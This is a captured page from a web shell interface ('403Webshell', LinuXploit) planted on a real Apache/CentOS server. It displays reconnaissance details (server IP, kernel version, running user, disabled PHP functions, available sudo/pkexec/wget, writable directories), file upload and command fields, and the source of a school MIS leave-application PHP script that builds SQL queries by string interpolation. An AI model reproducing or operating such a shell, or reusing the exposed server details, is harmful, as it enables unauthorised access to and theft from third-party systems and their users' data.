403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/LeaveApplication/unused/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/LeaveApplication/unused/checkfunction2.php
<?php

include_once 'CheckFollowUpAction.php';
include_once '../include/DBConnect.php';

//checkLeaveLesson::checkAll(1,1);

if (isset(checkLeaveLesson::$checkAll) && isset(checkLeaveLesson::$check_event_id) && isset(checkLeaveLesson::$leave_record_id)) {
    if (checkLeaveLesson::$checkAll == true && checkLeaveLesson::$check_event_id > 0 && checkLeaveLesson::$leave_record_id > 0) {
        //echo 'now checking all Leave Record, the event_id is ' . checkLeaveLesson::$check_event_id;
        $get_Leave_ID = checkLeaveLesson::$leave_record_id;
        $get_Event_ID = checkLeaveLesson::$check_event_id;
        //var_dump($get_Event_ID);
        echo 'Event_ID: '.$get_Event_ID.' ,<br>';
        #############################################
        ######## Substitute Teacher Checking ########
        
        $query = "SELECT la.`attend_id`,la.`lesson_id`,la.`staff_id` FROM `lesson_attendance`la,`lesson`l WHERE la.`lesson_id` 
            in (SELECT `lesson_id` FROM `event_lesson` WHERE `event_id` = '$get_Event_ID' and deleted= 0 and actived = 1) and 
                la.`actived` = 1 and la.`deleted`=0 and l.`actived` = 1 and l.`deleted` = 0 and l.`lesson_leave_status` = 1 and 
                `staff_id`>0 and (`is_substitute` = 1 OR `attendance`=1) and la.`lesson_id` = l.`lesson_id`";
        $result = $dbh->prepare($query);
        $result->execute();
        $Substitude_Teacher_Records = $result->fetchAll();
        //while ($ResultSet = $result->fetch(PDO::FETCH_ASSOC)) {
        foreach ($Substitude_Teacher_Records as $ResultSet) {
            $get_staff_attend_id = $ResultSet['attend_id'];
            $get_substitute_lesson_id = $ResultSet['lesson_id'];
            echo 'Staff attend_id: '.$get_staff_attend_id.', subtitute_lesson_id: '.$get_substitute_lesson_id;
            #### Update related student attendance record ####
            $query = "UPDATE `lesson_attendance` SET `state`=1 WHERE `stu_linking_id`>0 and `lesson_id` = '$get_substitute_lesson_id' 
                and `actived`=1 and `deleted` = 0";
            $result = $dbh->prepare($query);
            $result->execute();
            #### Update Lesson , lesson_leave_status = 0 ####
            $query = "UPDATE `lesson` SET `lesson_leave_status`=0 WHERE `lesson_id` = '$get_substitute_lesson_id' and `actived` = 1 
                and `deleted` = 0";
            $result = $dbh->prepare($query);
            $result->execute();
        }
        ########################################
        ######## Make Up Class Checking ########
        #### find Make Up Class Stu attendance Record ####
        $query = "SELECT la.`attend_id`,la.`stu_linking_id`,la.`make_up_lesson_id`,l.`date`,l.`start_time`,l.`end_time` 
            FROM `lesson_attendance` la,`lesson` l WHERE l.`actived`=1 and l.deleted =0 and la.`actived`=1 and la.`deleted`=0 and
            la.`make_up_lesson_id` > 0 and la.`make_up_lesson_remark` = '' and la.`stu_linking_id`>0 and la.`state`=2 and la.`lesson_id` in 
            (SELECT `lesson_id` FROM `event_lesson` WHERE `event_id` = '$get_Event_ID' and deleted= 0 and actived = 1) 
                and l.lesson_id = la.lesson_id ";
        $result = $dbh->prepare($query);
        $result->execute();
        $MakeUp_Lesson_Records = $result->fetchAll();
        //while ($ResultSet = $result->fetch(PDO::FETCH_ASSOC)) {
        foreach ($MakeUp_Lesson_Records as $ResultSet){
            $get_makeuplesson_attend_id = $ResultSet['attend_id'];
            //$get_makeuplesson_staff_id = $ResultSet['staff_id'];
            $get_makeuplesson_stu_id = $ResultSet['stu_linking_id'];
            $get_makeuptarger_lesson_id = $ResultSet['make_up_lesson_id'];
            $Content = 'To: ' . $ResultSet['date'] . ' ' . $ResultSet['start_time'] . '-' . $ResultSet['end_time'];
            #### Update Target Information ####
            $query = "UPDATE `lesson_attendance` SET `state`=5,`make_up_lesson_remark`='$Content' WHERE
                `lesson_id` = '$get_makeuptarger_lesson_id' and `stu_linking_id` = '$get_makeuplesson_stu_id' and `state` = '3'
                    and `actived` = 1 and `deleted` = 0";
            $result = $dbh->prepare($query);
            $result->execute();
            #### Update current Information ####
            $query = "SELECT l.`date`,l.`start_time`,l.`end_time` FROM `lesson_attendance`la,`lesson`l WHERE	
                la.`lesson_id` = '$get_makeuptarger_lesson_id' and la.`actived`=1 and la.`deleted` =0 and la.`state`=5 
                    and la.`make_up_lesson_remark` != '' and l.`actived` = 1 and l.`deleted` =0 and 
                    la.`stu_linking_id` = '$get_makeuplesson_stu_id' and l.`lesson_id` = la.`lesson_id`";
            $result = $dbh->prepare($query);
            $result->execute();
            if ($ResultSet = $result->fetch(PDO::FETCH_ASSOC)) {
                $Content = 'For: ' . $ResultSet['date'] . ' ' . $ResultSet['start_time'] . '-' . $ResultSet['end_time'];
                $query = "UPDATE `lesson_attendance` SET `make_up_lesson_remark`='$Content' WHERE `attend_id`='$get_makeuplesson_attend_id'";
                $result = $dbh->prepare($query);
                $result->execute();
            }
//            $get_makeuplesson_Sdate = date_create($ResultSet['start_time']);
//            $get_makeuplesson_Edate = date_create($ResultSet['end_time']);
//            var_dump(date_format($get_makeuplesson_Edate, 'Y-m-d H:i'));
//            var_dump(date_format($get_makeuplesson_Sdate, 'Y-m-d H:i'));
        }

        ######## Final Checking ########
        $query = "SELECT `lesson_id` FROM `lesson` WHERE `lesson_leave_status` = 1 and `actived`=1 and `deleted`=0";
        $result = $dbh->prepare($query);
        $result->execute();
        $Checking_Lesson_Records = $result->fetchAll();
        //while ($ResultSet = $result->fetch(PDO::FETCH_ASSOC)) {
        foreach ($Checking_Lesson_Records as $ResultSet) {
            $get_checking_lesson_id = $ResultSet['lesson_id'];
            $query = "SELECT `attend_id` FROM `lesson_attendance` WHERE `lesson_id` ='$get_checking_lesson_id' and `actived`=1 and 
                `deleted`=0 and `state` = 3 and `make_up_lesson_remark` = '' and `stu_linking_id`>0";
            $result = $dbh->prepare($query);
            $result->execute();
            #### No Need Make Up record find ####
            if (!($ResultSet = $result->fetch(PDO::FETCH_ASSOC))) {
                $query = "UPDATE `lesson` SET `lesson_leave_status`=0 WHERE `lesson_id`='$get_checking_lesson_id'";
                $result = $dbh->prepare($query);
                $result->execute();
            }
        }
        
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit